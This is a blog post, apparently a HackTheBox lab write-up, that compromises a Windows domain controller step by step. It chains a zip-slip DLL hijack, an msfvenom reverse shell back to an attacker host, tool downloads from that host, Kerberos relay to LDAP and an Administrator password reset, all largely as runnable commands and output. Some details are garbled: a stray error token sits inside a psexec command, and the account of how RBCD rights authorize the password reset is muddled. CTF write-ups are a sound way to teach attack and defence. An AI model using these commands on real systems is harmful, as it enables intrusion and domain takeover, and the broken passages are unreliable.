DEV Community

Cover image for HackTheBox: Bruno Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox: Bruno Writeup

HTB Bruno - Zip-Slip RCE to Kerberos Relay Domain Admin

Bruno is a Windows Active Directory box built around a single bad assumption: that a "malware scanner" service can safely extract whatever zip a low-privileged share drops in front of it. That assumption gets us a foothold as svc_scan. From there, the absence of LDAP signing and a permissive MachineAccountQuota let us turn a Kerberos relay through a COM-activated service into Domain Admin.

Reconnaissance

Started with a full TCP/service scan against the DC.

nmap -sC -sV -A -oA nmap <MACHINE-IP>
Enter fullscreen mode Exit fullscreen mode
21/tcp   open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135,139,389,445,464,593,636,3268,3269,3389 ...
Enter fullscreen mode Exit fullscreen mode

The Kerberos, LDAP, and SMB ports confirm this is a Domain Controller — hostname BRUNODC, domain bruno.vl. Anonymous FTP being open immediately stood out as the most interesting entry point, since it's rare to see writable FTP directly on a DC.

Anonymous FTP Enumeration

Anonymous login worked straight away:

ftp <MACHINE-IP>
Name: anonymous
Password:
230 User logged in.
Enter fullscreen mode Exit fullscreen mode

Listing the root showed four directories: app, benign, malicious, and queue. That naming convention — queue / benign / malicious — is a strong signal this is a file-scanning pipeline: something watches queue, decides if a sample is malicious, and routes it accordingly.

ftp> ls
06-19-26  07:04AM       <DIR>          app
06-19-26  07:01AM       <DIR>          benign
06-29-22  01:41PM       <DIR>          malicious
06-19-26  07:44AM       <DIR>          queue
Enter fullscreen mode Exit fullscreen mode

app contained a self-contained .NET binary (SampleScanner.exe/.dll and the usual .deps.json/runtimeconfig files) and a changelog:

Version 0.3
- integrated with dev site
- automation using svc_scan

Version 0.2
- additional functionality

Version 0.1
- initial support for EICAR string
Enter fullscreen mode Exit fullscreen mode

The changelog confirms the automation account is svc_scan — useful for later Kerberos attacks — and that the scanner checks for the EICAR test string.

Decompiling the Scanner

SampleScanner.dll is a small .NET Core 3.1 assembly, easily decompiled:

ilspycmd SampleScanner.dll
Enter fullscreen mode Exit fullscreen mode

The logic is straightforward and, critically, unsafe:

string[] files = Directory.GetFiles("C:\\samples\\queue\\", "*", SearchOption.AllDirectories);
foreach (string text2 in files)
{
    if (text2.EndsWith(".zip"))
    {
        using ZipArchive zipArchive = ZipFile.OpenRead(text2);
        foreach (ZipArchiveEntry entry in zipArchive.Entries)
        {
            string destinationFileName = Path.Combine("C:\\samples\\queue\\", entry.FullName);
            entry.ExtractToFile(destinationFileName);
        }
        File.Delete(text2);
    }
    else if (PatternAt(File.ReadAllBytes(text2), bytes).Any())
    {
        File.Copy(text2, text2.Replace("queue", "malicious"), overwrite: true);
        File.Delete(text2);
    }
    else
    {
        File.Copy(text2, text2.Replace("queue", "benign"), overwrite: true);
        File.Delete(text2);
    }
}
Enter fullscreen mode Exit fullscreen mode

This is a classic zip-slip. The extraction path is built with Path.Combine("C:\\samples\\queue\\", entry.FullName) and entry.FullName comes straight from the archive with no normalization or containment check. Any zip entry name containing ../ segments lets us write a file outside the queue directory — including back into app, where the live scanner binaries live.

That's the whole vulnerability: drop a zip into the SMB share that backs queue, name an entry with a ../ traversal path pointing back into app, and the next scan cycle writes our file straight into the live scanner's binary directory — overwriting whatever sits at that path. Which file in app is actually worth targeting wasn't obvious yet at this point; that took a closer look at the binaries themselves, covered further down.

While going through the rest of the downloaded files, SampleScanner.runtimeconfig.dev.json leaked a build-time artifact worth keeping for later:

"additionalProbingPaths": [
  "C:\\Users\\xct\\.dotnet\\store\\|arch|\\|tfm|",
  "C:\\Users\\xct\\.nuget\\packages"
]
Enter fullscreen mode Exit fullscreen mode

That's the developer's Windows username, xct, baked into the binary from whoever built it on their own machine. It's a free hit for a second valid domain username, so I added it to the users wordlist alongside svc_scan before running GetNPUsers against the DC — worth always doing a quick grep through any shipped .deps.json/runtimeconfig files and decompiled source for stray paths, usernames, or comments like this.

Initial Foothold

Null sessions and AS-REP roasting

SMB null/anonymous auth worked for basic recon:

nxc smb <MACHINE-IP> -u '' -p ''
SMB <MACHINE-IP> 445 BRUNODC [+] bruno.vl\: (Null Auth:True)
Enter fullscreen mode Exit fullscreen mode

Shares weren't enumerable yet, and user enum via null auth came back empty, but the app changelog had already named svc_scan, and the leaked build path in SampleScanner.runtimeconfig.dev.json had named xct. With both added to a small users wordlist, AS-REP roasting against accounts with DONT_REQ_PREAUTH paid off:

impacket-GetNPUsers bruno.vl/ -usersfile users -no-pass -dc-ip <MACHINE-IP>
Enter fullscreen mode Exit fullscreen mode
$krb5asrep$23$svc_scan@BRUNO.VL:b127a5cfe3288b3cef52a1f293357218$8e28a59d6cc5...
Enter fullscreen mode Exit fullscreen mode

Cracked offline with John:

john asrep.hash --wordlist=/usr/share/wordlists/rockyou.txt
john asrep.hash --show
$krb5asrep$23$svc_scan@BRUNO.VL:Sunshine1
Enter fullscreen mode Exit fullscreen mode

svc_scan:Sunshine1 checked out against SMB:

nxc smb <MACHINE-IP> -u svc_scan -p Sunshine1
SMB <MACHINE-IP> 445 BRUNODC [+] bruno.vl\svc_scan:Sunshine1
Enter fullscreen mode Exit fullscreen mode

Reaching the queue share

With valid creds, shares opened up - and queue was writable:

nxc smb <MACHINE-IP> -u svc_scan -p Sunshine1 --shares
SMB ... queue           READ,WRITE
SMB ... CertEnroll      READ
SMB ... NETLOGON        READ
SMB ... SYSVOL          READ
Enter fullscreen mode Exit fullscreen mode

This confirmed the plan: the FTP queue directory and the SMB queue share are the same backend folder the scanner polls.

Finding the right file to target

Before building any payload, I needed to know which file in app was actually worth overwriting. I rebuilt the same layout locally (C:\samples\app with the downloaded scanner files) and ran SampleScanner.exe under Process Monitor, filtered to Path ends with .dll, to watch its real file resolution order:

SampleSc...  3428  CreateFile  C:\samples\app\hostfxr.dll                                NAME NOT FOUND
SampleSc...  3428  CreateFile  C:\Program Files\dotnet\coreclr.dll                        NAME NOT FOUND
SampleSc...  3428  CreateFile  C:\Program Files\dotnet\shared\Microsoft.NETCore.App\3.1.32\advapi32.dll  NAME NOT FOUND
Enter fullscreen mode Exit fullscreen mode

That first line is the key find: the apphost looks for hostfxr.dll next to itself in app first, and only falls back to the real, version-pinned copy under Program Files\dotnet\host\fxr if that local probe misses. There was never a hostfxr.dll shipped in the FTP app directory at all - I only learned it was the file the loader checks for first by replicating the layout locally and watching this exact trace. That gave me the target: drop a DLL at C:\samples\app\hostfxr.dll via the zip-slip write, and it gets loaded and executed before the real runtime is ever reached. Standard DLL search-order hijacking, just triggered through a file-write bug instead of a writable PATH entry.

Building the zip-slip payload

Generated a reverse shell DLL with msfvenom, named to match the path the apphost was missing:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER-IP> LPORT=4444 -f dll -o hostfxr.dll
Enter fullscreen mode Exit fullscreen mode

Then packed it into a zip with a traversal path as the entry name, using Python's zipfile so I controlled the exact entry name (the OS zip CLI normalizes ../ and would have defeated the attack):

import zipfile
with open('hostfxr.dll', 'rb') as f:
    hostfxr = f.read()
with zipfile.ZipFile('rev-shell.zip', 'w') as zip:
    zip.writestr('../app/hostfxr.dll', hostfxr)
Enter fullscreen mode Exit fullscreen mode

Uploaded it to the writable share:

smbclient //<MACHINE-IP>/queue -U svc_scan%Sunshine1
smb: \> put rev-shell.zip
Enter fullscreen mode Exit fullscreen mode

Started a listener and an SMB/HTTP server, then waited for the scanner's polling cycle to pick up the zip from queue, extract it (writing our malicious hostfxr.dll into app), and delete the source zip. The next time the scanner runs, our DLL gets loaded instead of the real runtime host — and the reverse shell connects back as svc_scan.

whoami
bruno\svc_scan
Enter fullscreen mode Exit fullscreen mode

Privilege Escalation

Situational awareness

whoami /priv
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeMachineAccountPrivilege     Add workstations to domain     Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Enter fullscreen mode Exit fullscreen mode

SeMachineAccountPrivilege shows up but disabled — the right to add computer accounts is generally available to all domain users by default anyway, gated by MachineAccountQuota, not by this token privilege. Checked the quota and LDAP channel security over LDAP itself:

nxc ldap <MACHINE-IP> -u svc_scan -p Sunshine1 -M maq
MAQ <MACHINE-IP> 389 BRUNODC MachineAccountQuota: 10
Enter fullscreen mode Exit fullscreen mode
nxc ldap <MACHINE-IP> -u svc_scan -p Sunshine1
LDAP <MACHINE-IP> 389 BRUNODC (signing:None) (channel binding:Never)
Enter fullscreen mode Exit fullscreen mode

That's the second flaw: no LDAP signing and no channel binding, paired with a non-zero MachineAccountQuota. This is the textbook setup for a Kerberos relay attack using a COM-coercion primitive (KrbRelayUp) to force a SYSTEM-level Kerberos authentication that we relay to LDAP on the DC itself.

Finding a usable CLSID

KrbRelayUp needs a local, SYSTEM-running DCOM service whose CLSID we can activate to coerce a Kerberos authentication. Pulled the compiled KrbRelayUp.exe/KrbRelay.exe from SharpCollection and the CLSID enumeration script from juicy-potato onto the box:

Invoke-WebRequest -Uri "http://<ATTACKER-IP>/KrbRelayUp.exe" -OutFile "C:\temp\KrbRelayUp.exe"
Invoke-WebRequest -Uri "http://<ATTACKER-IP>/KrbRelay.exe" -OutFile "C:\temp\KrbRelay.exe"
Invoke-WebRequest -Uri "http://<ATTACKER-IP>/GetCLSID.ps1" -OutFile "C:\temp\GetCLSID.ps1"
Enter fullscreen mode Exit fullscreen mode

Ran the script to dump every locally registered AppID/CLSID pair tied to a Windows service:

.\GetCLSID.ps1
Enter fullscreen mode Exit fullscreen mode
Name           Used (GB)     Free (GB) Provider      Root               CurrentLocation
----           ---------     --------- --------      ----               ---------------
HKCR                                   Registry      HKEY_CLASSES_ROOT
Looking for CLSIDs
Looking for APIDs
Joining CLSIDs and APIDs

    Directory: C:\temp

Mode      LastWriteTime        Length Name
----      -------------        ------ ----
-a----    6/19/2026  12:06 PM    3200 CLSID.list
-a----    6/19/2026  12:06 PM    7697 CLSIDs.csv
Enter fullscreen mode Exit fullscreen mode

The script drops a directory containing two files — CLSID.list (a flat list of CLSID GUIDs) and CLSIDs.csv (the same CLSIDs joined against their owning AppID and the local service name that registers them). CLSIDs.csv came back with way too many entries to test by hand one at a time, so instead of manually instantiating each one I ran a small filtering script against it to cross-reference every CLSID with currently running services and actually attempt [System.Activator]::CreateInstance() on each:

Import-Csv "Windows_Server_2022_Datacenter\CLSIDs.csv" | ForEach-Object {
    $serviceName = $_.LocalService
    $clsid = $_.CLSID.Trim("{}")
    $svc = Get-Service -Name $serviceName -ErrorAction SilentlyContinue
    if ($svc -and $svc.Status -eq 'Running') {
        try {
            $type = [Type]::GetTypeFromCLSID([Guid]$clsid)
            [System.Activator]::CreateInstance($type) | Out-Null
            Write-Host "$serviceName | $clsid | [SUCCESS]" -ForegroundColor Green
        } catch { ... }
    }
}
Enter fullscreen mode Exit fullscreen mode

That surfaced only the CLSIDs worth caring about — the ones that actually instantiate, are access-denied, or are simply unavailable — instead of wading through dozens of irrelevant entries:

CertSvc | D99E6E73-FC88-11D0-B498-00A0C90312F3 | [SUCCESS]
UsoSvc  | 84C80796-F07C-4340-8897-DA954AADBF16 | [Class Not Available]
vds     | 7D1933CB-86F6-4A98-8628-01BE94C9A575 | [Access Denied]
Enter fullscreen mode Exit fullscreen mode

CertSvc (Active Directory Certificate Services, running as NT AUTHORITY\SYSTEM) instantiated cleanly — that's our coercion primitive. Anything that triggers this CLSID forces the local SYSTEM account to authenticate over Kerberos, and because LDAP signing is disabled, that authentication can be relayed straight into an LDAP session on the DC with full SYSTEM-equivalent rights.

Relay path 1: KrbRelayUp end-to-end (RBCD)

Tried the all-in-one KrbRelayUp path first — create a new computer account and grant it Resource-Based Constrained Delegation (RBCD) rights over the DC computer object in one shot:

.\KrbRelayUp.exe relay -Domain bruno.vl -CreateNewComputerAccount -ComputerName 'damn$' -ComputerPassword damned12 -cls D99E6E73-FC88-11D0-B498-00A0C90312F3
Enter fullscreen mode Exit fullscreen mode
[+] Computer account "damn$" added with password "damned12"
[+] Forcing SYSTEM authentication
[+] Got Krb Auth from NT/SYSTEM. Relaying to LDAP now...
[+] LDAP session established
[+] RBCD rights added successfully
Enter fullscreen mode Exit fullscreen mode

KrbRelayUp creates the computer account damn$, coerces SYSTEM auth via the CertSvc CLSID, relays that auth to LDAP, and writes RBCD permissions so damn$ can delegate to BRUNODC$.

Relay path 2: KrbRelay password reset (reliable fallback)

The CertSvc CLSID coercion forces the machine itself to authenticate over the network. That's why the relay log shows Relaying context: bruno.vl\BRUNODC$ - we're abusing that relayed BRUNODC$ authentication to write to LDAP on its behalf.

KrbRelay.exe's -rbcd flag needs the SID of the account we actually control and want listed as a trusted delegate on BRUNODC$'s object. That's damn$, the computer account KrbRelayUp created in path 1 — not BRUNODC$ itself. Pulled that SID with BloodyAD:

bloodyAD --host <MACHINE-IP> -d bruno.vl -u svc_scan -p Sunshine1 get object 'damn$' --attr objectSid
Enter fullscreen mode Exit fullscreen mode
objectSid: S-1-5-21-1536375944-4286418366-3447278137-5104
Enter fullscreen mode Exit fullscreen mode

With damn$'s SID in hand, run KrbRelay.exe again to coerce the same CertSvc CLSID. This relays the resulting BRUNODC$ Kerberos auth into an LDAP modify that resets the domain Administrator's password — the RBCD rights granted to damn$ in path 1 are what authorize this write:

.\KrbRelay.exe -spn ldap/brunodc.bruno.vl -clsid D99E6E73-FC88-11D0-B498-00A0C90312F3 -rbcd S-1-5-21-1536375944-4286418366-3447278137-5104 -ssl -port 10246 -reset-password administrator gotyou12
Enter fullscreen mode Exit fullscreen mode
[*] Relaying context: bruno.vl\BRUNODC$
[*] Forcing SYSTEM authentication
[+] LDAP session established
[*] ldap_modify: LDAP_UNWILLING_TO_PERFORM
[*] ldap_modify: LDAP_SUCCESS
Enter fullscreen mode Exit fullscreen mode

The key signal here is the trailing ldap_modify: LDAP_SUCCESS. KrbRelay logs one LDAP_UNWILLING_TO_PERFORM line as part of an internal retry/permission probe, but as long as the final modify returns LDAP_SUCCESS, the Administrator password has actually been changed to the value passed in (gotyou12 in this run). This step is flaky in practice — the same command can succeed outright, succeed only on a retry, or fail and leave the password untouched. If every relevant LDAP operation in the output shows success, the reset landed and the new password is immediately usable; if not, it's just a re-run away. It's worth treating the next steps as a branch rather than a fixed sequence:

KrbRelay.exe -reset-password administrator gotyou12
│
├── all relevant LDAP operations show success (password changed)
│   │
│   ├── evil-winrm -i brunodc.bruno.vl -u administrator -p gotyou12        → shell directly
│   │
│   ├── impacket-psexec (LDAP_UNWILLING_TO_PERFORM) bruno.vl/administrator:gotyou12@brunodc.bruno.vl   → SYSTEM shell directly
│   │
│   └── impacket-getTGT bruno.vl/administrator:gotyou12 -dc-ip <MACHINE-IP>
│       └── export KRB5CCNAME=administrator.ccache
│           └── impacket-psexec -k -no-pass bruno.vl/administrator@brunodc.bruno.vl → SYSTEM shell
│
└── any ldap_modify fails (password unchanged)
    │
    └── re-run KrbRelay.exe -reset-password ... (the CLSID coercion is consistent; the LDAP write itself is what's flaky, and it usually lands on a retry)
Enter fullscreen mode Exit fullscreen mode

In other words: if every relevant LDAP operation in the output comes back successful, Administrator's credentials are usable outright — straight into evil-winrm or psexec with the new password, or through a clean getTGT first if a Kerberos-only path is preferred. If any of them aren't a clean success, the password didn't actually change — that's not a different attack, just a re-run of the same KrbRelay.exe -reset-password command until every relevant LDAP operation comes back successful. On this run the reset landed first try, so I went with the clean TGT path:

impacket-getTGT bruno.vl/administrator:gotyou12 -dc-ip <MACHINE-IP>
Enter fullscreen mode Exit fullscreen mode
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in administrator.ccache
Enter fullscreen mode Exit fullscreen mode

SYSTEM via Kerberos-authenticated PsExec

Point KRB5CCNAME at the new TGT and get a SYSTEM shell with Impacket's PsExec — no NTLM, no password prompt needed:

export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass bruno.vl/administrator@brunodc.bruno.vl -dc-ip <MACHINE-IP>
Enter fullscreen mode Exit fullscreen mode
[*] Found writable share ADMIN$
[*] Creating service GMTw on brunodc.bruno.vl.....
[*] Starting service GMTw.....
C:\Windows\system32> whoami
nt authority\system
Enter fullscreen mode Exit fullscreen mode

Flag retrieval:

C:\Users\Administrator\Desktop> type root.txt
HTB{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Why the Privesc Actually Works

Worth spelling out the chain in plain terms, since it isn't a single CVE but a combination of three separate misconfigurations:

  1. No LDAP signing / no channel binding on the DC means any Kerberos authentication captured locally can be relayed into an authenticated LDAP session without the DC detecting tampering or rejecting the relayed signature.
  2. A non-zero MachineAccountQuota (10, well above the 0 a hardened domain would set) lets any authenticated domain user - including svc_scan - create new computer accounts at will, which is the relay's landing point.
  3. A locally activatable, SYSTEM-running COM service (CertSvc) gives us a reliable way to coerce a SYSTEM-context Kerberos authentication on demand, which is the thing actually getting relayed.

Chain it together: coerce SYSTEM's Kerberos auth via the CertSvc CLSID → relay it to LDAP, which the DC accepts unsigned → use that session to create a computer account we control (damn$) and grant it RBCD rights over BRUNODC$ (KrbRelayUp) → coerce the same SYSTEM auth a second time and relay it into an LDAP modify that resets Administrator's password, using damn$'s SID and the RBCD rights already granted to authorize the write (KrbRelay) → authenticate as Administrator with the new password for a shell. Any one of the three conditions being fixed (LDAP signing enforced, quota set to 0, or the CLSID hardened/unavailable to non-admins) breaks the chain.

References

Tools Used

  • nmap — service/version recon
  • ftp / anonymous FTP client - initial file disclosure
  • ilspycmd — .NET decompilation of SampleScanner.dll
  • smbclient / nxc (NetExec) - SMB enumeration and file upload
  • impacket-GetNPUsers — AS-REP roasting
  • john / hashcat — offline hash cracking
  • msfvenom — reverse shell DLL payload
  • Python zipfile — crafting the zip-slip archive
  • GetCLSID.ps1 (juicy-potato) - CLSID/service enumeration
  • KrbRelayUp / KrbRelay (SharpCollection) - Kerberos relay, RBCD, password reset
  • bloodyAD — fetching damn$'s objectSid for the -rbcd flag
  • impacket-getTGT — TGT request for Administrator after password reset
  • evil-winrm / impacket-psexec - shell access once Administrator's password is known

Attack Chain

Step Action Result
1 Anonymous FTP recon Discovered scanner app, queue/benign/malicious workflow, svc_scan account name
2 Decompiled SampleScanner.dll Identified unsanitized zip extraction (zip-slip)
3 AS-REP roast + crack svc_scan Obtained svc_scan:Sunshine1
4 Uploaded crafted zip to writable queue SMB share Overwrote app\hostfxr.dll with malicious payload
5 Scanner cycle triggered payload Reverse shell as bruno\svc_scan
6 Enumerated MachineAccountQuota + LDAP signing state Confirmed relay-friendly LDAP config
7 Enumerated CLSIDs against running services Found CertSvc CLSID activatable as SYSTEM
8 KrbRelayUp: created computer account + RBCD Delegation rights granted to damn$
9 KrbRelay.exe password reset over relayed LDAP (-rbcd using damn$'s SID via BloodyAD) Administrator password changed
10 impacket-getTGT for Administrator Fresh TGT using new password
11 impacket-psexec with Kerberos ticket SYSTEM shell, root flag

Key Vulnerabilities

Vulnerability Component Impact
Zip-slip (unsanitized ZipArchiveEntry.FullName) SampleScanner.dll custom scanner Arbitrary file write/overwrite as the scanner's service account
AS-REP roastable account (DONT_REQ_PREAUTH) svc_scan Offline-crackable credential exposure
Writable SMB share aligned with scanner input queue queue share RCE staging via the zip-slip flaw
Disabled LDAP signing / channel binding Domain Controller LDAP Kerberos relay to LDAP without signature validation
Non-zero MachineAccountQuota Active Directory Arbitrary computer account creation enabling RBCD abuse
Locally activatable SYSTEM COM service (CertSvc CLSID) AD CS Reliable SYSTEM Kerberos auth coercion primitive

Top comments (0)